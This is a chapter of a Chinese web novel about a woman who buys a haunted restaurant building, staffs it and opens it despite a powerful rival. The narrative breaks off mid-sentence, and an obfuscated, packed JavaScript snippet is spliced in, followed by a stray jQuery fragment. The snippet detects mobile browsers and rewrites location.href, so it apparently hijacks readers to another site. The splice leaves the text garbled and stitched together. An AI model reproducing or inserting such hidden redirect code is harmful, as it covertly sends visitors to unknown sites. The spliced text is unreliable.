次日一大早,天才蒙蒙亮,许攸便赶到张庭家门口。
她据理力争,姑姑只不过思索半晌便同意了。
许攸还颇为骄傲地跟张庭炫耀几句她的聪明才智,看得张庭觉得好笑。
许攸在张庭家中用过早食,将带来的五千两银票递给她,“交给妹妹,我放心。”一副全然信任她的模样。
张庭看出她的意思,即便想办这个食楼,但她却不会把事儿全往自个儿身上揽,三言两语推拒掉。
详细和许攸说过,又哄又拉将她带到崔经济那儿,两人商量着要选一处三层或四层的铺面。
崔经济昨日才从张庭那儿回来,见张庭登门热络地迎上来,“哟是您来了,请坐请坐。”
又招呼人给她们奉茶伺候,张庭直接说了来意。
崔经济为难半晌,才道:“这合适的铺面,也不是没有。只是……”
许攸追问道:“只是如何?”
“城东与城西之间,有一处位置绝佳的铺面,足有四层,宽敞明亮,木料不旧,不用特意翻新,只是前年有人在那儿吊死了。”
许攸听闻,瞬间止住话头。
张庭不惧鬼神之说,“那人为何吊死?”
“那家铺面原本是吃食生意的,叫客盈门酒楼,整整四层,客流不绝,日进斗金,但是宋东家和对家品香斋打赌,搞了一个斗食大会,最后输的一塌糊涂,生意也日渐败落,眼看只能等着被品香斋收购,宋东家气不过便吊死了。”
“最后这铺面,品香斋倒是想买下,但和宋家人结了死仇,没收成。”
崔经济怕张庭不信,还说:“这事儿闹得沸沸扬扬,城西、城东的人都知晓。”
许攸姑姑家就在城东,张庭转头向对方求证。
许攸对她颔首示意。
张庭问起这客盈门酒楼的价钱,崔经济告诉她宋家人报价四千两白银。
这价格适中,但毕竟死过人不吉利,张庭断断不能以这价买下。
和崔经济商量先去看铺面,到了地方没想到后面还有个带井的大院子,伙计、管事都还有屋子住。
张庭更满意了,许攸却感觉到森森寒意,拉着张庭要走。
“这处阴森,咱们再找一处吧。”
张庭却告诉她,别处五年的赁钱能把这里全部买下。
终究是现实赢得了胜利,许攸不再囔囔了。
张庭叫崔经济和主家商量,若是三千两她就买下,也是做吃食生意,不算辱没了这铺面。
这还价真狠,说不得还要被主家打出来。若是往常,崔经济掉头就走,但才承了张庭的好,她怎么也得帮她把生意谈下来。
许攸就看着她们一来二去,把事情敲定,困惑不已。
这中介经济不都是吃人不吐骨头么,什么时候这般为人着想了?
崔经济这一去简直拿出了毕生所学,软磨硬泡,硬是为张庭将铺面以三千四百两谈下来。
迅速签订契书,过户,又让崔经济介绍了匠户来修整房屋。
许攸被派去府衙走程序、交税务,回来时,正看到张庭拿着图纸和四名匠户商议如何处理细节。
她凑过去听,不曾听懂。
术业有专攻,或许她许攸天生就比较适合出钱不出力吧。
崔经济帮张庭传话给人牙子,要采买几个仆从,当天下午人牙子便带着“货物”来了。
人牙子是个富态贵气的男人,他喜笑颜开,翘着兰花指,“想必这便是张员外吧,真是一表人才~”说着还用手捂着嘴,扮作娇羞样子,朝张庭抛媚眼。
张庭面色绷不住,头一回破功,嘴角抽搐。
“牙公,在下想采买几个仆从,还请安排。”
张庭脸色不愉,牙公见好就收,招呼“货物”上来,排做两行,一一站好,方便她挑选。
一共七名男子,三名女子,年纪都在十四、五岁的样子。
张庭先问他们可会识字,无人应答,又问可会灶房手艺?只有两名男子说从前常帮家里做饭。
张庭将那两人挑出来,预备到后厨打杂,两人激动地向她磕头。
张庭问其他人的特长。一名男子怯生生地说他会绣花做衣,但手艺一般;一名男子会他特别会腌制酱菜、酸菜,味道尚可,还会点编织手艺;剩下三名普普通通,但张庭留了个手脚勤快的帮忙。
至于三名女子,长得都瘦骨伶仃的,长相普通,看着还算老实,张庭俱都留下了,安排她们做跑堂小二。
这一回就收了八人,付给牙公八十两,喜得他合不拢嘴。
这些男男女女都是他从乡下买来的,如今不过左右手,翻了两倍多。
收拢这八人,将会针线的、会编织的带走,剩下六人安置在酒楼后院。
张庭已经吩咐匠户师傅隔出一道院墙,这样便不会男女混住。
然后,又在门口了告示:诚聘账房先生一名,酒楼管事一名,灶郎三名,待遇从优,详细面谈。
当众支了十两银子作为他们采买被褥床垫等的银钱,以及这几日的开销,让两名会灶上手艺的出去买菜,收拾收拾,以后他们六人都在酒楼用饭。
随后去看看匠户师傅的进度,再送走他们,吩咐六人关好门窗、注意安全,才心满意足地带着剩下两人回家。
路上问过两人的名字,会针线的叫小容,会编织的叫喜哥。
家里还有多余的被褥以及相应用具,将人安排在杜灶郎另一侧的耳房,张庭一身轻松开始用饭。
唔,今日吃的是宫保鸡丁,咸甜味。
张庭决定把这道菜拉入黑名单。
翌日,天空阴沉,刮起凛冽的北风,吹打在脸上,像被针扎似的疼。
张庭照常跟着李瑞莲练了两个时辰,重新洗漱过将众人都叫来开大会,说内外分院了,让大家小心冲撞到彼此。
先让四名护卫、车夫在门外等候,张庭留下三人单独谈话,告诫他们未经允许不能靠近正房,再分别派发了活计。
其中,杜灶郞的资历和年纪最长,张庭令他暂代内院管事一职,每月多支三百文,但若是出事唯他是问;其余一律每月三百文,一月后再根据个人做活计的水平升等、涨月钱。
最后特意告诫他们:要恪尽职守,做事要深思熟虑,切勿毛燥。
杜灶郞踌躇半天,“春节将至,您可有什么吩咐?”
张庭恍惚意识到,来这里都快一个月了,但她对过节没有想法,对他说:“杜灶郞来筹措吧,给大家都备些节礼,到时候摆几桌丰盛的饭食,列个单子找我划银子便是。”
还要去酒楼调教另外六人,但马车行到一半骤然下起大雨,等到了地方,张庭一身倒是干爽,苦得其余五人都成了落汤鸡。
让她们先去后厨将衣物烘干,再来帮忙,还许诺夕食请她们畅快喝酒。
原本还有些许怨言的几人瞬间被安抚住,勾肩搭背直奔后厨。
今日无人来应聘,张庭无奈只能暂代管事、监工,调教伙计,监管进度,又把躲在许府的许攸哄来做账房。
等酒楼都要修整完毕了,仍无人应聘,最后还是张庭当初包给崔经济的红封起了作用。
崔经济私底下给张庭介绍了几人过来,俱都是隔壁济州府过来的。
“您猜怎么回事?”她笑问张庭。
张庭原本有些猜测,但不能断定,毕竟头回在古代干人才招聘,不知道告示的作用、影响究竟如何,可崔经济跟她说起这几人的籍贯,才肯定道:“是品香斋。”
崔经济叹服:“女君才智过人,正是品香斋。”
崔经济看
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15264063|166050||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
好张庭,有心结交,秉着好人做到底,送佛送到西的念头,崔经济告诉张庭,品香斋知道她收了这家酒楼,暗中宣称“谁敢来应聘就让对方在京都混不下去”。
换作常人,听到这样蛮横无理、肆无忌惮的话,早就怒了。
但张庭却在沉思,对方如此嚣张,背后的靠山必定不同凡响。
崔经济根植京都多年,多少还是知道点事儿的,她欣赏张庭的沉着稳重,但只隐晦地告知张庭:少詹事爱吃品香斋的酱菜。
张庭恍然大悟,少詹事正四品级,是詹事府的副长官、东宫属官。
这靠山确实庞大。
崔经济知她识时务,好意告诫她:“京都也有不少食肆,客流尚可,你切勿与品香斋针锋相对,若做些小生意人家还是允的。”
言外之意,便是不要抢了品香斋的风头,低伏做小才能得她容忍。
守在一旁的刘大却怒不可遏:“东家,什么品香斋这般霸道?真以为京都都是她的?还有没有王法了?!”
王五也说:“就是在咱县里那群小流氓,也没见过这种蛮横的!”说着还要出去去找人对峙,算账。
愤怒解决不了任何问题,张庭先让她们下去,两人还有些气闷,好一会儿才梗着脖子退下。
张庭谢过崔经济,还要留她用饭。崔经济见状况不对,心中有股不详的预感,怕和张庭牵扯惹上麻烦,推拒说家中夫郎备下酒菜,匆匆离去。
崔经济前脚刚走,张庭前些日子订的牌匾就到了。
张庭揭开红布,赫然便是——客盈楼。
字体行云流水,笔势雄健洒脱。
她满意颔首,吩咐伙计将红布盖上。
她可没有别的意思,这也是为了卖前东家一个好,方便人脉交接嘛。
来到后堂安抚刘大、王五:“我知你们是为我抱不平,可人家势大,越是这种时候,越需要避其锋芒。品香斋这步无外乎是为了挑动咱们的怒气,若真没忍住,冲上前找她麻烦,人家再使出一招瓮中捉鳖,反咬一口,咱们才是得不偿失。”
又说:“路到桥头自然直,品香斋虽根深叶茂,但这里毕竟是京都,天子脚下,她往后便是蛮横,也不能太过明目张胆。”
两人听了觉得有理,张庭深谋远虑的形象再度在她们眼里拔高,令她们十分佩服,然后还不好意思跟张庭道歉,“东家对不住,咱都是群粗人,不懂这些弯弯绕绕,还差点坏了您的事。”
张庭摆摆手,不以为意。
又去和新来的管事、账房交接,给她们立了几条规矩,严令禁止,告诫若有违反必不轻饶。
打了一闷棍要给个甜枣,张庭说下月会根据她们的表现,择一掌柜出来,再涨些月钱。
两名管事和账房见新主家,条理清晰,威严肃穆,不敢轻慢,连声答是,又听后面她给的好处,情不自禁喜上眉头。
至于灶郞这边,试出他们的深浅过后,令里面手艺最好的做主厨,签了契书做公证,再一一指导他们做菜......
并许诺他们不仅每月有二两银子做保底,还会根据菜品价格、数量进行抽成。
月钱丰厚,众人喜不自胜。
腊月二十五这日,客盈楼开业。
鞭炮齐鸣,锣鼓喧天。
开业当日全店五折,与此同时,推出十大名菜,各类跌宕起伏、扣人心弦的故事噱头十足,引得食客竞相追捧,一探究竟。
噱头的炒作和限时折扣极有效用,不少人为了这新鲜劲儿纷纷前来,现场摩肩擦踵,人声鼎沸,热闹非凡。
食客们踏进客盈楼才感受到,它与别处食楼极为不同,布置质朴,竟有一种大隐于市之感,而且菜品见所未见,但只要吃过一次,便也忘不掉那种味道。
一时间,客盈楼名声鹊起。